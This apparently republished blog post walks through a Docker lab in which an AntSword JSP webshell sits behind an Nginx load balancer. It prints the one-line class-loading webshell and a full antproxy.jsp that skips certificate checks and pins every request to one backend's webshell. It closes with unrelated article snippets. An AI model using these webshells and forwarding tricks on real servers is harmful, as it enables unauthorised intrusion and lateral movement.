Nginx反向代理实现负载均衡webshell

news2024/11/30 2:38:31

目录

本实验所用的环境:

问题一:由于nginx采用的反向代理是轮询的方式,所以上传文件必须在两台后端服务器的相同位置上传相同的文件

问题二:我们在执行命令时,无法知道下次的请求交给哪台机器去执行我们在执行hostname -i查看当前执行机器的IP时,可以看到IP地址一直在漂移

问题三:当我们需要上传一些较大的工具时,会造成工具无法使用的情况

问题四:由于目标主机不能出外网,想要进一步深入,只能使用reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

一些解决方案:

方案一:关掉其中的一台后端服务器

方案二:在程序执行前先判断要不要执行

方案三:在Web层做一次HTTP流量的转发(重点)


本实验所用的环境:

链接:https://pan.baidu.com/s/17WBxMs3_uIx9pFapwtgK5A?pwd=8848 
提取码:8848

Nginx反向代理实现负载均衡的操作具体可以看:Nginx反向代理实现负载均衡+Keepalive实现高可用-CSDN博客

下面就介绍本次实验

首先还是进入到漏洞所在的环境目录中

/root/AntSword-Labs-master/loadbalance/loadbalance-jsp

拉取环境:

docker-compose up -d

可以看到运行了容器

然后可以尝试访问一下这个页面

 根据上图可以看出,虽然显示的是http404,但是表示后端的tomcat是可以访问的

然后我们可以查看一下后端的反向代理服务器:
可以进入到两台中的任意一台中去

docker exec -it  dbeefec34893 /bin/bash
root@dbeefec34893:/usr/local/tomcat# 

查看 webapps/ROOT/ant.jsp

cat ant.jsp 
<%!class U extends ClassLoader{ U(ClassLoader c){ super(c); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("ant");if(cls!=null){ new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>

可以看到这里是已经上传的一句话木马,密码是'ant'。

但是需要注意的是8080端口并没有开发,所以我们只能通过nginx来访问

我们可以查看一下nginx文件:

cat nginx/default.conf 
upstream lbspool {
  server lbsnode1:8080;
  server lbsnode2:8080;
}

server {
    listen       80 default_server;
    server_name  _;
    charset utf-8;
    root   /usr/share/nginx/html;
    index index.jsp index.html index.htm;
    location / {
        proxy_pass http://lbspool;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

可以看到这里配置了负载均衡。

那么我们就可以尝试使用蚁剑来连接。

 

连接成功后,我们就可以查看所有文件

现在我们已经成功的连接到webshell

但是这里还是有一些问题:

问题一:由于nginx采用的反向代理是轮询的方式,所以上传文件必须在两台后端服务器的相同位置上传相同的文件

因为我们是反向代理的负载均衡,就存在上传文件出现一台后端服务器上有我们上传的文件,另一台服务器上没有我们上传的文件,出现的结果就是,一旦一台服务器上没有,那么在请求轮到这台服务器的时候,就会报出404的错误,从而影响使用,这也就是一会出现正常,一会出现错误的原因。

就说说两台负载均衡设备都需要有ant.jsp文件,如果仅有一台设备有,一台设备没有,则会出现一次成功,一次失败的效果。

解决方案:

我们需要在每一台节点的相同位置都上传相同内容的WebShell,从而实现无论是轮询到哪台服务器上都可以访问到我们的后端服务器上。

注:实现每一台后端服务器上都有上传的文件,就需要疯狂上传。

问题二:我们在执行命令时,无法知道下次的请求交给哪台机器去执行我们在执行hostname -i查看当前执行机器的IP时,可以看到IP地址一直在漂移

这里因为是使用的轮询的方式,如果使用了权重的方式,就更加的飘忽不定

可以做一下的测试,来验证我们的命令是飘忽不定的:

我们可以进入某一个一个容器中:

查看ip add 会发现没有该功能

(1)我们可以更新一下这个apt

 apt-get update

(2)安装net-tools

apt-get install net-tools

 然后我们可以在蚁剑的终端中尝试使用ipconfig

就会出现这样一种情况,就是因为我们只给一台服务器上安装了,另外一台没有。

问题三:当我们需要上传一些较大的工具时,会造成工具无法使用的情况

当我们上传一个较大的文件时,由于AntSword上传文件时,采用的是分片上传方式,把一个文件分成了多次HTTP请求发送给目标,造成文件的一部分内容在A这台服务器上,另一部分文件在B这台服务器上,从而使得较大的工具或者文件无法打开或者使用

这里我们用一个比较大的图片作为大文件来验证一下:

比如说下面这个图片,这是2.14MB大小的图片,用来做测试

可以看到这里一个2MB的图片就直接上传失败了

但是如果我们上传的图片是刚好能上传的,蚁剑的分片传输可能会将上传的一个图片分片分片到两个服务器中,比如说,我们上传这样一个图片:

我们现在尝试删除这个图片

删除完成后,我们试着刷新一下文件

看样子确实没有了,那么再刷新一下:

会看到,这个已经被删除的图片又在另一个服务器中出现了

可以多删几次,才能真正删除这个图片。

问题四:由于目标主机不能出外网,想要进一步深入,只能使用reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

这里总结一下:第一个和第三个问题都可以用多次点击来实现,第三种我们可以不使用大文件就只使用小文件工具就可以避免,但是不能进入内网的问题却是致命的,无法解决则相当于攻击失败

一些解决方案:

方案一:关掉其中的一台后端服务器

因为健康检查机制的存在,很快其他的节点很快就会被从nginx池子中踢出去了!

关闭后端其中的一台服务器确实能够解决上述的四种问题,但是这个方案实在是“老寿星上吊---活腻了”,影响业务,还会造成灾难,直接Pass不考虑

综合评价:真实环境下千万不要尝试!!!

方案二:在程序执行前先判断要不要执行

既然无法预测下一次是哪台机器去执行,那我们的shell在执行Payload之前,先判断一下要不要执行不就可以了。

首次按创建一个脚本demo.sh,该脚本是获取我们的后端其中一台服务器的地址,匹配到这台服务器的地址才进行程序的执行,匹配到另一台服务器则不进行程序的执行。

因为没有vim,这里再安装一下vim

apt install vim

编写脚本

vim demo.sh

脚本内容:

#!bin/bash
MYIP=`ifconfig | grep 'inet 172' | awk '{print $2}'`
echo $MYIP
if [$MYIP =="172.22.0.2" ];then
        echo "Node1,i will exec command.\n============\n"
        ifconfig
else    
        echo "Other. Try again."
fi

授权

chmod +x demo.sh

上传该脚本到两台服务器:

[root@centos111 loadbalance-jsp]# docker cp demo.sh dbeefec34893:/tmp
Successfully copied 2.05kB to dbeefec34893:/tmp
[root@centos111 loadbalance-jsp]# docker cp demo.sh b13fa1312a15:/tmp
Successfully copied 2.05kB to b13fa1312a15:/tmp

执行

为了方便测试,我们给另外一台容器也安装ipconfig工具:

可以看到我们这样就可以在172.22.0.2时才会执行,其他都会报出Other Try again,

这样就手动的让我们只使用其中一台服务器来执行命令。

注:通过中国蚁剑将demo.sh脚本文件上传到后端的两台服务器上,因为是负载均衡,所以需要疯狂点击上传,也可以在蚁剑上新建文件然后编写脚本,多次点击保存,目的是可以让两个服务器都能成功保存到脚本

这样一来,确实能够保证执行的命令是在我们想要的机器上了,可是这样执行命令,没有一丝美感,另外,大文件上传、HTTP隧道这些问题也没有解决。

综合评价:该方案勉强能用,仅适合在执行命令的时候用,不够优雅。

方案三:在Web层做一次HTTP流量的转发(重点)

没错,我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。

还记不记得 「PHP Bypass Disable Function」 这个插件,我们在这个插件加载 so 之后,本地启动了一个 httpserver,然后我们用到了 HTTP 层面的流量转发脚本 「antproxy.php」, 我们放在这个场景下看:

我们一步一步来看这个图,我们的目的是:所有的数据包都能发给「LBSNode 1」这台机器

首先是 第 1 步,我们请求 /antproxy.jsp,这个请求发给 nginx

nginx 接到数据包之后,会有两种情况:

我们先看黑色线,第 2 步把请求传递给了目标机器,请求了 Node1 机器上的 /antproxy.jsp,接着 第 3 步,/antproxy.jsp 把请求重组之后,传给了 Node1 机器上的 /ant.jsp,成功执行。

再来看红色线,第 2 步把请求传给了 Node2 机器, 接着第 3 步,Node2 机器上面的 /antproxy.jsp 把请求重组之后,传给了 Node1 的 /ant.jsp,成功执行。

1、创建 antproxy.jsp 脚本

修改转发地址,转向目标node

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "http://172.22.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder(); #实例化对象
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024]; #缓冲区
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

为了防止文件分片,我们在蚁剑中新建一个文件: 

 

这里只是在一台服务器上新建了,另外一台服务器没有,需要多新建几次,保证两台服务器上都有该文件

然后将脚本内容写入,多保存几次

注:必须确保刷新后,两台服务器上的文件大小是一样的 

3、 修改 Shell 配置, 将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变

4、 测试执行命令, 查看 IP

可以看到 IP 已经固定, 意味着请求已经固定到了 LBSNode1 这台机器上了。此时使用分片上传、HTTP 代理,都已经跟单机的情况没什么区别了

该方案的优点:

1、低权限就可以完成,如果权限高的话,还可以通过端口层面直接转发,不过这跟 Plan A 的关服务就没啥区别了

2、流量上,只影响访问 WebShell 的请求,其它的正常业务请求不会影响。

3、适配更多工具

缺点:

该方案需要「目标 Node」和「其它 Node」 之间内网互通,如果不互通就凉了。

到这里Nginx的负载均衡的websehll问题就解决了,并且Nginx相关的漏洞也暂时结束了!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1253646.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C#,数值计算——有理函数插值和外推(Rational_interp)的计算方法与源程序

1 文本格式 using System; namespace Legalsoft.Truffer { /// <summary> /// 有理函数插值和外推 /// Rational Function Interpolation and Extrapolation /// Given a value x, and using pointers to data xx and yy, this routine returns …

AtomicReference原子引用类-线程安全

简介与作用&#xff1a; AtomicReference是Java中的一个原子类&#xff0c;它的主要作用是提供了一种原子操作的方式来更新对象的引用。它通常用于多线程环境下&#xff0c;用来解决并发访问共享对象时可能出现的竞态条件问题。 &#xff08;实际开发中用于某个数据模型更新&a…

Elasticsearch:ES|QL 查询中的元数据字段及多值字段

在今天的文章里&#xff0c;我来介绍一下 ES|QL 里的元数据字段以及多值字段。我们可以利用这些元数据字段以及多值字段来针对我们的查询进行定制。 ES|QL 源数据字段 ES|QL 可以访问元数据字段。 目前支持的有&#xff1a; _index&#xff1a;文档所属的索引名称。 该字段的…

从0开始学习JavaScript--JavaScript事件:响应与交互

JavaScript的事件处理是Web开发中至关重要的一部分&#xff0c;通过事件&#xff0c;能够实现用户与页面的互动&#xff0c;使得网页更加生动和交互性。本文将深入探讨JavaScript事件的各个方面&#xff0c;包括事件的基本概念、事件类型、事件对象、事件冒泡与捕获、事件委托、…

MATLAB在信号系统中的应用

1.产生一个幅度为1, 基频为2Hz&#xff0c;占空比为50%的周期方波.要求画出图形。 在MATLAB中&#xff0c;函数square(w0*t, DUTY)产生基本频率为w0 (周期T2*pi/w0)、占空比DUTY (τ/T)*100的周期矩形波&#xff08;方波&#xff09;&#xff0c;默认情况下占空比DUTY50。占空…

数据结构总复习

文章目录 线性表动态分配的顺序存储结构链式存储 线性表 动态分配的顺序存储结构 通过分析代码&#xff0c;我们发现&#xff0c;要注意什么&#xff1a; 要分清你的下标Insert 函数是可以用来没有元素的时候&#xff0c;增加元素的Init(或者Create )函数一般只用来分配空间…

关于泛型方法重写的问题--继承/重写/泛型

第二张图中的抽象类实现了图1 中的泛型接口;其中图2中的handler方法重写图1中的接口方法是没有问题的,但是图2中的next泛型方法指定类型重写图1中的泛型方法next却是有问题的,为什么? 其中

2023-11-25 LeetCode每日一题(二叉树中的伪回文路径)

2023-11-25每日一题 一、题目编号 1457.二叉树中的伪回文路径二、题目链接 点击跳转到题目位置 三、题目描述 给你一棵二叉树&#xff0c;每个节点的值为 1 到 9 。我们称二叉树中的一条路径是 「伪回文」的&#xff0c;当它满足&#xff1a;路径经过的所有节点值的排列中…

R语言期末复习一

创建一个长度为7的字符向量&#xff0c;元素为"A", "B", "C", "D", "E", "F", "G"&#xff0c;并命名为vec1。 创建一个因子&#xff0c;包含6个水果&#xff1a;"apple", "banana"…

leetcode做题笔记1457. 二叉树中的伪回文路径

给你一棵二叉树&#xff0c;每个节点的值为 1 到 9 。我们称二叉树中的一条路径是 「伪回文」的&#xff0c;当它满足&#xff1a;路径经过的所有节点值的排列中&#xff0c;存在一个回文序列。 请你返回从根到叶子节点的所有路径中 伪回文 路径的数目。 示例 1&#xff1a; 输…

YOLO目标检测——二维码检测数据集下载分享【含对应voc、coco和yolo三种格式标签】

实际项目应用&#xff1a;二维码识别、追踪与管理系统数据集说明&#xff1a;二维码检测数据集&#xff0c;真实场景的高质量图片数据&#xff0c;数据场景丰富标签说明&#xff1a;使用lableimg标注软件标注&#xff0c;标注框质量高&#xff0c;含voc(xml)、coco(json)和yolo…

前端review

关于实时预览vs code中的颜色代码需要安装的插件&#xff0c;包括html文件格式中的颜色代码安装Flutter Color插件 VSCode 前端常用插件集合 1.Auto Close Tag自动闭合HTML/XML标签 2.Auto Rename Tag自动完成另一侧标签的同步修改 3.Beautify格式化代码&#xff0c;值得注…

什么是判断能力?如何提高判断能力?

什么是判断能力&#xff1f; 人的大脑跟电脑有有着相似的工作原理&#xff0c;不论什么事情&#xff0c;如果要做出判断&#xff0c;那么首先是收集各类信息&#xff0c;跟这个事件相关的各种资料&#xff0c;仅供大脑的分析后&#xff0c;得出一个结论&#xff0c;从而形成判…

代码随想录算法训练营第五十五天|583. 两个字符串的删除操作 72. 编辑距离

文档讲解&#xff1a;代码随想录 视频讲解&#xff1a;代码随想录B站账号 状态&#xff1a;看了视频题解和文章解析后做出来了 583. 两个字符串的删除操作 class Solution:def minDistance(self, word1: str, word2: str) -> int:dp [[0] * (len(word2)1) for _ in range(…

24年天津天狮专升本计算机科学与技术专业《C语言程序设计》考纲

2024年天津天狮学院计算机科学与技术专业高职升本入学考试《C语言程序设计》考试大纲 一、考试性质 《C语言程序设计》专业课程考试是天津天狮学院计算机科学与技术专业高职升本 入学考试的必考科目之一&#xff0c;其性质是考核学生是否达到了升入本科继续学习的要求而进行的…

Flink CDC -Sqlserver to Sqlserver java 模版编写

1.基本环境 <flink.version>1.17.0</flink.version> 2. 类文件 package com.flink.tablesql;import org.apache.commons.io.FileUtils; import org.apache.commons.lang3.StringUtils; import org.apache.flink.streaming.api.environment.StreamExecutionEnviro…

leetCode 1026. 节点与其祖先之间的最大差值 + 递归

1026. 节点与其祖先之间的最大差值 - 力扣&#xff08;LeetCode&#xff09; 给定二叉树的根节点 root&#xff0c;找出存在于 不同 节点 A 和 B 之间的最大值 V&#xff0c;其中 V |A.val - B.val|&#xff0c;且 A 是 B 的祖先。&#xff08;如果 A 的任何子节点之一为 B&am…

【单片机学习笔记】STC8H1K08参考手册学习笔记

STC8H1K08参考手册学习笔记 STC8H系列芯片STC8H1K08开发环境串口烧录 STC8H系列芯片 STC8H 系列单片机是不需要外部晶振和外部复位的单片机&#xff0c;是以超强抗干扰/超低价/高速/低功耗为目标的 8051 单片机,在相同的工作频率下,STC8H 系列单片机比传统的 8051约快12 倍速度…

求两对整点坐标连线之间是否存在其他的整点坐标。

证明过程非常的简单&#xff1a; 有两对整点&#xff08;x1&#xff0c;y1&#xff09;&#xff08;x2,y2)&#xff0c;我们现在以(x1&#xff0c;y1)为原点&#xff0c;那么&#xff08;x2&#xff0c;y2)的相对坐标就是&#xff08;x2-x1&#xff0c;y2-y1&#xff09; 设 …

C++ day36 贪心算法 无重叠区间 划分字母区间 合并区间

题目1&#xff1a;435 无重叠区间 题目链接&#xff1a;无重叠区间 对题目的理解 移除数组中的元素&#xff0c;使得区间互不重叠&#xff0c;保证移除的元素数量最少&#xff0c;数组中至少包含一个元素 贪心算法 局部最优&#xff0c;使得重叠区间的个数最大&#xff0c…